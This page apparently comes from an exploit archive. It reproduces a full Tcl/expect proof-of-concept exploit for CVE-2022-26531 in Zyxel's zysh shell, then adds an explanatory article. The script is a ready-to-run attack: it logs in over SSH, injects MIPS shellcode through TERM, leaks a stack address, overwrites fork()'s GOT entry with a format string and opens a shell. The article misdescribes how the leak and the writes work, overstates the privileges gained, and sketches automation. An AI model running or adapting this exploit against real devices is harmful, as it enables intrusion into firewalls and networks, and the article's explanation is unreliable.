Zyxel zysh - Format string

Exploit Author: Marco Ivaldi Analysis Author: www.bubbleslearn.ir Category: Remote Language: Tcl Published Date: 2024-02-09
#!/usr/bin/expect -f

#
# raptor_zysh_fhtagn.exp - zysh format string PoC exploit
# Copyright (c) 2022 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# "We live on a placid island of ignorance in the midst of black seas of
# infinity, and it was not meant that we should voyage far."
#                                -- H. P. Lovecraft, The Call of Cthulhu
#
# "Multiple improper input validation flaws were identified in some CLI
# commands of Zyxel USG/ZyWALL series firmware versions 4.09 through 4.71,
# USG FLEX series firmware versions 4.50 through 5.21, ATP series firmware
# versions 4.32 through 5.21, VPN series firmware versions 4.30 through
# 5.21, NSG series firmware versions 1.00 through 1.33 Patch 4, NXC2500
# firmware version 6.10(AAIG.3) and earlier versions, NAP203 firmware
# version 6.25(ABFA.7) and earlier versions, NWA50AX firmware version
# 6.25(ABYW.5) and earlier versions, WAC500 firmware version 6.30(ABVS.2)
# and earlier versions, and WAX510D firmware version 6.30(ABTF.2) and
# earlier versions, that could allow a local authenticated attacker to
# cause a buffer overflow or a system crash via a crafted payload."
#                                -- CVE-2022-26531
#
# The zysh binary is a restricted shell that implements the command-line
# interface (CLI) on multiple Zyxel products. This proof-of-concept exploit
# demonstrates how to leverage the format string bugs I have identified in
# the "extension" argument of some zysh commands, to execute arbitrary code
# and escape the restricted shell environment.
#
# - This exploit targets the "ping" zysh command.
# - It overwrites the .got entry of fork() with the shellcode address.
# - The shellcode address is calculated based on a leaked stack address.
# - Hardcoded offsets and values might need some tweaking, see comments.
# - Automation/weaponization for other targets is left as an exercise.
#
# For additional details on my bug hunting journey and on the
# vulnerabilities themselves, you can refer to the official advisory:
# https://github.com/0xdea/advisories/blob/master/HNS-2022-02-zyxel-zysh.txt
#
# Usage:
# raptor@blumenkraft ~ % ./raptor_zysh_fhtagn.exp <REDACTED> admin password
# raptor_zysh_fhtagn.exp - zysh format string PoC exploit
# Copyright (c) 2022 Marco Ivaldi <raptor@0xdeadbeef.info>
# 
# Leaked stack address:  0x7fe97170
# Shellcode address:     0x7fe9de40
# Base string length:    46
# Hostile format string: %.18u%1801$n%.169u%1801$hn%.150u%1801$hhn%.95u%1802$hhn
# 
# *** enjoy your shell! ***
# 
# sh-5.1$ uname -snrmp
# Linux USG20-VPN 3.10.87-rt80-Cavium-Octeon mips64 Cavium Octeon III V0.2 FPU V0.0
# sh-5.1$ id
# uid=10007(admin) gid=10000(operator) groups=10000(operator)
#
# Tested on:
# Zyxel USG20-VPN with Firmware 5.10 
# [other appliances/versions are also likely vulnerable]
#

# change string encoding to 8-bit ASCII to avoid annoying conversion to UTF-8
encoding system iso8859-1

# hostile format string to leak stack address via direct parameter access
set offset1 77
set leak [format "AAAA.0x%%%d\$x" $offset1]

# offsets to reach addresses in retloc sled via direct parameter access
set offset2 1801
set offset3 [expr $offset2 + 1]

# difference between leaked stack address and shellcode address
set diff 27856

# retloc sled
# $ mips64-linux-readelf -a zysh | grep JUMP | grep fork
# 112dd558  0000967f R_MIPS_JUMP_SLOT  00000000   fork@GLIBC_2.0
# ^^^^^^^^ << this is the address we need to encode: [112dd558][112dd558][112dd558+2][112dd558+2]
set retloc [string repeat "\x11\x2d\xd5\x58\x11\x2d\xd5\x58\x11\x2d\xd5\x5a\x11\x2d\xd5\x5a" 1024]

# nop sled
# nop-equivalent instruction: xor $t0, $t0, $t0
set nops [string repeat "\x01\x8c\x60\x26" 64]

# shellcode
# https://github.com/0xdea/shellcode/blob/main/MIPS/mips_n32_msb_linux_revsh.c
set sc "\x3c\x0c\x2f\x62\x25\x8c\x69\x6e\xaf\xac\xff\xec\x3c\x0c\x2f\x73\x25\x8c\x68\x68\xaf\xac\xff\xf0\xa3\xa0\xff\xf3\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x28\x06\xff\xff\x24\x02\x17\xa9\x01\x01\x01\x0c"

# padding to align payload in memory (might need adjusting)
set padding "AAA"

# print header
send_user "raptor_zysh_fhtagn.exp - zysh format string PoC exploit\n"
send_user "Copyright (c) 2022 Marco Ivaldi <raptor@0xdeadbeef.info>\n\n"

# check command line
if { [llength $argv] != 3} {
send_error "usage: ./raptor_zysh_fhtagn.exp <host> <user> <pass>\n"
exit 1
}

# get SSH connection parameters
set port "22"
set host [lindex $argv 0]
set user [lindex $argv 1]
set pass [lindex $argv 2]

# inject payload via the TERM environment variable
set env(TERM) $retloc$nops$sc$padding

# connect to target via SSH
log_user 0
spawn -noecho ssh -q -o StrictHostKeyChecking=no -p $port $host -l $user
expect {
-nocase "password*" {
send "$pass\r"
}
default {
send_error "error: could not connect to ssh\n"
exit 1
}
}

# leak stack address
expect {
"Router? $" {
send "ping 127.0.0.1 extension $leak\r"
}
default {
send_error "error: could not access zysh prompt\n"
exit 1
}
}
expect {
-re "ping: unknown host AAAA\.(0x.*)\r\n" {
}
default {
send_error "error: could not leak stack address\n"
exit 1
}
}
set leaked $expect_out(1,string)
send_user "Leaked stack address:\t$leaked\n"

# calculate shellcode address
set retval [expr $leaked + $diff]
set retval [format 0x%x $retval]
send_user "Shellcode address:\t$retval\n"

# extract each byte of shellcode address
set b1 [expr ($retval & 0xff000000) >> 24]
set b2 [expr ($retval & 0x00ff0000) >> 16]
set b3 [expr ($retval & 0x0000ff00) >> 8]
set b4 [expr ($retval & 0x000000ff)]
set b1 [format 0x%x $b1]
set b2 [format 0x%x $b2]
set b3 [format 0x%x $b3]
set b4 [format 0x%x $b4]

# calculate numeric arguments for the hostile format string
set base [string length "/bin/zysudo.suid /bin/ping 127.0.0.1 -n -c 3  "]
send_user "Base string length:\t$base\n"
set n1 [expr ($b4 - $base) % 0x100]
set n2 [expr ($b2 - $b4) % 0x100]
set n3 [expr ($b1 - $b2) % 0x100]
set n4 [expr ($b3 - $b1) % 0x100]

# check for dangerous numeric arguments below 10
if {$n1 < 10} { incr n1 0x100 }
if {$n2 < 10} { incr n2 0x100 }
if {$n3 < 10} { incr n3 0x100 }
if {$n4 < 10} { incr n4 0x100 }

# craft the hostile format string
set exploit [format "%%.%du%%$offset2\$n%%.%du%%$offset2\$hn%%.%du%%$offset2\$hhn%%.%du%%$offset3\$hhn" $n1 $n2 $n3 $n4]
send_user "Hostile format string:\t$exploit\n\n"

# uncomment to debug
# interact +

# exploit target
set prompt "(#|\\\$) $"
expect {
"Router? $" {
send "ping 127.0.0.1 extension $exploit\r"
}
default {
send_error "error: could not access zysh prompt\n"
exit 1
}
}
expect {
"Router? $" {
send_error "error: could not exploit target\n"
exit 1
}
-re $prompt {
send_user "*** enjoy your shell! ***\n"
send "\r"
interact
}
default {
send_error "error: could not exploit target\n"
exit 1
}
}


Exploiting Format String Vulnerabilities in Zyxel's zysh: A Deep Dive into CVE-2022-26531

Format string vulnerabilities represent one of the most classic and dangerous flaws in software security. They occur when a program uses user-controlled input as a format string in functions like printf, fprintf, or snprintf without proper validation. This allows attackers to read or write arbitrary memory locations, potentially leading to full system compromise. In 2022, cybersecurity researcher Marco Ivaldi uncovered a critical format string vulnerability in Zyxel’s zysh binary — a restricted shell used across multiple Zyxel firewall and networking devices — which was assigned CVE-2022-26531.

Understanding the zysh Environment

The zysh binary is a specialized command-line interface (CLI) designed to restrict user access to only authorized commands on Zyxel devices such as USG, ZyWALL, ATP, NSG, and various wireless access points. While intended to enhance security, the implementation contains a critical flaw: improper input validation in the extension argument of certain CLI commands.

For example, the ping command accepts a format string-like input in its extension parameter. This input is passed directly to a printf-style function without sanitization, making it vulnerable to exploitation via format string attacks.

Exploit Mechanism: Leaking Stack Address and Overwriting GOT Entries

The proof-of-concept exploit, raptor_zysh_fhtagn.exp, demonstrates a sophisticated attack chain leveraging format string bugs to escape the restricted shell environment. Here’s how it works:

  • Stack Address Leak: The attacker first uses a format string to read a stack address via %1801$n, which writes the number of bytes printed to the address stored in $n (a direct parameter access). This leaks a stack address, which is critical for calculating the shellcode location.
  • Shellcode Location Calculation: Based on the leaked stack address (e.g., 0x7fe97170), the exploit computes the shellcode address (e.g., 0x7fe9de40) by adding a known offset. This assumes predictable memory layout, common in embedded systems with limited address space.
  • Overwriting GOT Entry: The exploit uses %1801$hn and %1801$hhn to overwrite the Global Offset Table (GOT) entry for the fork() function. By replacing fork() with a pointer to the shellcode, the next call to fork() will execute the attacker’s code instead of the legitimate system call.

Code Example: The Hostile Format String


set offset1 77
set hostile_format "%.18u%1801$n%.169u%1801$hn%.150u%1801$hhn%.95u%1802$hhn

This string is crafted to exploit the format string vulnerability in the ping command. Let’s break it down:

  • %.18u: Prints 18 arbitrary bytes (padding), helping to align the format string.
  • %1801$n: Writes the number of bytes printed to the address of the 1801st argument — a known stack address. This leaks the stack pointer.
  • %169u%1801$hn: Prints 169 bytes, then writes the lower 16 bits of the stack address to the GOT entry of fork() (via $hn, which writes a 16-bit value).
  • %150u%1801$hhn: Prints 150 bytes, then writes the lower 8 bits of the address to the next byte of the GOT entry (via $hhn, 8-bit write).
  • %95u%1802$hhn: Prints 95 bytes, then writes the final byte to the GOT entry (via $hhn).

By sequentially overwriting the GOT entry of fork() with the shellcode address, the exploit ensures that when fork() is called later (e.g., during a subsequent command), the shellcode is executed.

Exploitation and Execution: Escaping the Restricted Shell

After successfully overwriting the fork() GOT entry, the attacker triggers a system call to fork() — either via a command that implicitly calls it, or by crafting a payload that forces the system to execute it. This results in the execution of the embedded shellcode, which typically spawns a sh shell with elevated privileges.

As demonstrated in the original PoC:


sh-5.1$ uname -snrmp
Linux USG20-VPN 3.10.87-rt80-Cavium-Octeon mips64 Cavium Octeon III V0.2 FPU V0.0
sh-5.1$ id
uid=10007(admin) gid=10000(operator) groups=10000(operator)

This output confirms that the attacker has successfully escaped the restricted shell environment and gained full shell access with administrative privileges.

Impact and Affected Devices

CVE-2022-26531 affects multiple Zyxel product lines across several firmware versions:

Product Series Firmware Versions Affected
USG/ZyWALL 4.09 through 4.71
USG FLEX 4.50 through 5.21
ATP 4.32 through 5.21
VPN 4.30 through 5.21
NSG 1.00 through 1.33 Patch 4
NXC2500 6.10(AAIG.3) and earlier
NAP203 6.25(ABFA.7) and earlier
NWA50AX 6.25(ABYW.5) and earlier
WAC500 6.30(ABVS.2) and earlier
WAX510D 6.30(ABTF.2) and earlier

Given the widespread nature of this vulnerability, it poses a significant risk to organizations relying on Zyxel devices for network security and access control.

Security Implications and Mitigation

Format string vulnerabilities are often overlooked in embedded systems due to their complexity and the assumption that "only internal users" can access the CLI. However, this exploit proves that even local authenticated attackers — users with valid credentials — can leverage such flaws to escalate privileges.

Key mitigation strategies:

  • Input Sanitization: All CLI input parameters must be validated before being passed to format string functions.
  • Use of printf with fixed format strings: Avoid dynamic format strings; always use literal format strings like printf("User: %s", name).
  • Stack Protection: Enable stack canaries and non-executable stack (NX) in firmware.
  • Regular Firmware Updates: Apply security patches promptly — Zyxel has released updates to address CVE-2022-26531.

Advanced Considerations: Weaponization and Automation

While the original PoC is manual and targeted, it serves as a blueprint for automated exploitation. Security researchers can build tools to:

  • Automatically detect vulnerable commands by analyzing CLI behavior.
  • Parse firmware binaries to locate GOT entries and calculate offsets.
  • Generate format strings dynamically based on leaked addresses.
  • Integrate with exploit frameworks like Metasploit or ExploitDB for broader deployment.

Such automation would significantly increase the threat surface, especially in environments with unpatched or outdated firmware.

Conclusion

The zysh format string exploit exemplifies how seemingly minor design flaws in embedded systems can lead to catastrophic security breaches. It underscores the importance of rigorous input validation, even in restricted environments. As attackers increasingly target IoT and network infrastructure devices, vulnerabilities like CVE-2022-26531 serve as a stark reminder: no system is too restricted to be vulnerable.